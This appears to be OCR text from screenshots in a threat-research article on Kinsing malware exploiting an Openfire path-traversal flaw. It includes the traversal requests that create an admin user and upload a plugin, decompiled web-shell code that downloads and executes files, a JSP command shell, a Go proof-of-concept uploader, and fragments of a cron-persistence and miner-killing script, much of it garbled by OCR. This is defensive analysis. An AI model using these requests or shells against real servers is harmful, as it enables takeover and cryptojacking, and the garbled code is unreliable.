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The attacker finds Creates a new admin Drop and run Kinsing

a vulnerable openfire user and deploys a malware and a

Openfire server malicious JAR file, that cryptominer

serves as a web shell
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GET /setup/setup-s/%u002e%u002e/%ud02e%u@02e/user-create. jsp?

create=%E5%88%9B%ES5%BB%SBA%SE 7%94%A8%E6%88%B7&csrf=P7mDhnHr69RsDOr&email&isadmin=on&name&password=Pgg
Ys1B7tkxW&passwordConfirm=PggYs1B7tkxW&username=0penfireSupport HTTP/1.1

Host: XX.XX.XX.XX:9090

HTTP/1.1 200 OK
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GET /plugin-admin.jsp?uploadsuccess=true HTTP/1.1

Host: XX.XX.XX.XX:9090

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/78.0.3904.108 Safari/537.36

Content-Type: multipart/form-data;
boundary=f200145f056d72610a0c9db38500c66934c7d5608ef5920b0f4b90136330

Cookie: JSESSIONID=node@hnl3sr8ixlrlhgeybgvzpmui3.node®; csrf=148pchoGhDG4eUj

Referer: http://XX.XX.XX.XX:9090/plugin-admin. jsp?uploadplugin&csrf=148pchoGhDG4eUj
Accept-Encoding: gzip

HTTP/1.1 200 OK
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2 @ 2 security vendors and no s flagged this file as mal (> Reanalyze = Similar ~ More
| \:2// 0f110adad60698e513aa69684112692¢10785124e8e16d4c00782ad55¢004178 Size Last Analysis Date A
' org jivesoftware.openfire.plugin. CVE-1.0 jar 11.94 KB 6 days ago JAR
jar
Community Score
DETECTION DETAILS RELATIONS BEHAVIOR COMMUNITY

Join the VT Community and enjoy additional community insights and crowdsourced detections, plus an API key to automate checks.

Popular threat label (1) java Family labels java
Security vendors' analysis () Do you want to automate checks?
DrwWeb @ Java.BackDoor.58 Rising (D Downloader Kinsing/JAVA!1.CB3E (CLA
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try {
if (System.getProperty( ).contains( )) {
final String url = r .getParamete ).replace(
final int idx = url.ind
final String ip = url.substring(@, idx);
final String(] commandList = {

+ ip +
final ProcessBuilder pb = new ProcessBuilder(commandList);
pb.start()

- {

try {
Runtime.getRuntime( ).exec(

}

catch (Exception ex2) {}

final Random rand = new Random();

rand.setSeed(System.currentTimeMillis());

final String fi ame = + rand. tint();

final File f = new File( , filenam 8

final BufferedInputStream in = new BufferedInputStream(new URL(request.getParameter( )).openStream());

final FileOutputStream fileOutputStr new FileQutputStream(f);

final byte[] dataBuffer = new byte[1024];

int bytesRead;

while ((bytesRead = in.read(dataBuffer, 162 -1) {
fileOutputStream.write(dataBuffer, @, bytesRead);

}

fileOutputStream.close();

in.close()

final Process p = Runtime.getRuntime( ).exec( + f.getAbsolutePath());

p.watitFor(

final Proc Builder builder = new ProcessBuilder(new String(] { f.getAbsolutePath() });

builder. 1tI0();

builder.environment().put( )3

builder.start();
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LDR=

Tl /usr/bin/curl ]; then
LDR=

fi

if [ -s /usr/bin/wget ]; then
LDR=

fi

chattr -R /var/spool/cron

chattr -1 /etc/crontab

crontab -1 | grep

if [ $? -eq 0 ]; then
et

else
(

crontab 2>/dev/null
che $LDR
) | crontab

fi

Cronjob & yb 31 59 ylly Sbmsl o7 S
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pkill -f clea
crontab
crontab

| crontab
| crontab

crontab
crontab
)s aux| grep | xargs
)s aux| grep t jre [ awk | xargs
)5 aux| grep ) | i v J | xargs -I % kil
ps aux| ep | grep -v grep | awk | xargs -1 % k
pkill -f sysupdater

pkill -f sshd

pkill -f htop

pkill -f linuxsys

pkill -f sysupdate

pkill networkservice

pkill sysguard

pkill xmrig

pkill server.elf

cat /tmp/.X11l-unix/01|xargs -I %

| crontab

|
|
crontab | C crontab
|
| crontab

t /tmp/.X11l-unix/11|xargs -1I
it /tmp/.X11-unix/22|xargs -1
t /tmp/.systemd.l|xargs -1

it /tmp/.systemd.2|xargs

cat /tmp/.systemd.3|xargs s

-9 $(cat /tmp/.systemd.1l)

) $(cat /tmp/.systemd.2)

(1Ll -9 $(cat /tmp/.systemd.3)
at /tmp/.pg_stat.®|xargs
cat /tmp/.pg_stat.l|xargs
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Server UsersiGroups Sessions Group Chat
Plugin Admin

» Plugins .
Available Plugins Pluglns

Plugins add new functionality to the server. The list of plugins currently installed is below. To download new plugins, please visit the Available

Plugins page.

Plugins

Plugins

@ Openfire Maven Plugin Example [

Q, Search

Version 1.7.4 Available

Upload Plugin

bR

(Change Log)

Description Version Author
An example plugin that does
nothing interesting

4.2.1-SNAPSHOT Surevine

Provides support for Jabber Search
(XEP-0055)

173 Ryan Graham

e Update

Plugin files (.jar) can be uploaded directly by using the form below.
[ Upioad Plugin

| Browse... | No file selected.

Delete
2 0
< @

Loggec 1s admin - Logout
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Security Audit Log Viewer

Pages:[1234]
Id  Username
" a

65  e360e6094/55a230cb9994b05b4d%ach
64 e360e6094f55a230cb9994b05bddIach
63  e360e6094155a230cb9994b05b4d9ach
62  e360e6094/55a230cb9994b05b4d%ach
61 e360e6094/55a230cb9994b05b4d%ach
60  ©360e6094f55a230cb9394b05b4dIach
59  e360e6094f55a230cb9994b05b4dIach
58  e360e6094f55a230cb9994b05b4dIach
57  ©360e6094f55a230cb9994b05b4dIacO
56  236006094f55a230cb9984b05b4dIach
55  2360e6094f55a230cb9994b05b4dIach
54 e360e6094155a230cb9994b05bdd9ac

53 oZcywkkd
52

Total number of events: 90 Showing 26-50 — Evenis per page. \'25 v

Node

Event

The user logged in successfully to the admin console from address 5.255.113.54.

The user logged in successfully to the admin console from address 5.255.113.54.

[

Successful admin console login attempt Show details
Successful admin console login attempt Show details
uploaded plugin product jar

Successful admin console login attempt Show details
Successful admin console login attempt Show details
uploaded plugin product jar

‘Successful admin console login attempt Show details
‘Successful admin console login attempt Show details
Successful admin console login attempt Show details
Successful admin console login attempt Show datails
details

Successful admin console login attempt Show

Successful admin console login attempt Hide details

uploaded plugin product jar

Successful admin console login attempt Hide

Timestamp

From]yyyy/MM/DD Q
To YYYY/MM/DD | Q

Jun 14, 2023,

8:06:37 AM
Jun 14, 2023, 8:06:37 AM
Jun 14, 2023, 7:27:16 AM
Jun 14, 2023, 7:26:33 AM
Jun 14, 2023, 7:26:32 AM
Jun 14, 2023, 7:16:20 AM
Jun 14, 2023, 7-15:37 AM
Jun 14, 2023, 7:15:36 AM
Jun 14, 2023, 6:19:46 AM
Jun 14, 2023, 6:17-57 AM
Jun 14, 2023, 3:32:29 AM
Jun 14, 2023, 3:29:45 AM
Jun 9, 2023, 3:41:50 AM

Jun 9, 2023, 3:41:50 AM
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:= multipart.Newhiriter(&multipartFile)
header := make(textproto.MIMEHeader)
header.Set("Content-Disposition”, ~form-data; name="uploadfile"

; filename="exampleplugin.jar"")
header.Set("Content-Type", "“application/x-java-archive")

// copy the webshell into the writer

filedata, _ := writer.CreatePart(header)

_, _ = io.Copy(filedata, strings.NewReader(webshell))
writer.Close()

// upload it

headers := map[string]string{
"Cookie": fmt.Sprintf("ISESSIONID=%s;csrf=%s", session, token),
“"Content-Type"”: writer.FormDataContentType(),

1

J

// create a normal request. Go does not like the %u in their standard req, so create a
// normal request and then insert the malformed URI into the URL struct
url := protocol.GenerateURL(conf.Rhost, conf.Rport, conf.SSL, “/")
client, req, err := protocol.CreateRequest("POST", url, multipartFile.String(), false)
if err {
return false
)
req.URL.Opaque = "/setup/setup-s/%uB02e%u82e/%u0B2e%u@d2e/plugin-admin.jsp?uploadplugin&csrf=" + token

protocol.SetRequestHeaders(req, headers)
resp, _, ok := protocol.DoRequest(client, req)
if lok {

return false

],
if resp.StatusCode != 500 {
output.PrintfError("Expected 500 response: %d", resp.StatusCode)

return false

1
J

return true

PoC VuInCheck glaio Vo S5l
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& exampleplugin.jar 2
» @ META-INF

» 8@ i18n %) exampleplugin_002dpage_jsp.class 2
v @ lb public void _jspDestroy() {}
v @ exampleplugin-4.7.4-SNAPSHOT jar
» @ META-INF = public void _jspService(HttpServletRequest request, HttpServletResponse response) throws IOExcepti
v @ org String _jspx_method = request.getMethod();
» @ igniterealti fi scplasliig if (1"GET".equals(_jspx_method) && !"POST".equals(_jspx_method) & !"HEAD".equals(_jspx_method)
L Aphal Lime.openjire.exampleplugin response.sendError(405, “JSPs only permit GET. POST or HEAD. Jasper also permits OPTIONS");
v @ jivesoftware.openfire.plugin.exampleplugin return;
« { exampleplugin_002dpage _jsp.class %

JspWriter out = null;
JspWriter _jspx_out = null;
PageContext _jspx_page_context = null;
try {
response.setContentType ("text/html");
PageContext pageContext = _jspxFactory.getPageContext((Servlet)this, (ServletRequest)request,
null, true, 8192, true);
_Jspx_page_context = pageContext;
pageContext.getServletContext();
pageContext.getServletConfig();
pageContext.getSession();
out = pageContext.getOut();
_jspx_out = out;
String cad = request.getParameter(“cmd");
if (cmd f= null) {
DataInputStream in = new DataInputStream(Runtime.getRuntime().exec(cmd).getInputStreanm()):
String line = in.readLine():
if (line != null)
response.setHeader ("X-Error", line);

€ exampleplugin 00 >

e _el_expressionfactory : ExpressionFact

o _jsp_instancemanager : InstanceManag

fo® _jspxFactory: JspFactory

o _jspx_dependants: Map

f® _jspx_imports_classes: Set

fo* _jspx_imports_packages: Set
_|spDestroy() : void
_spinit() : void
_jspSenvice(HttpServletRequest, HetpS¢
_isp_getExpressionFactory() : Expressic
_isp_getinstanceManager() : InstanceM
exampleplugin_002dpage_jsp()
getClassimports() : Set
getDependants() : Map
getPackagelmports() : Set

o000 QO0QOPOC O
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1- https://www.bleepingcomputer.com/news/security/over-3-000-openfire-servers-
vulnerable-to-takover-attacks/

2- https://blog.aguasec.com/kinsing-malware-exploits-novel-openfire-vulnerability
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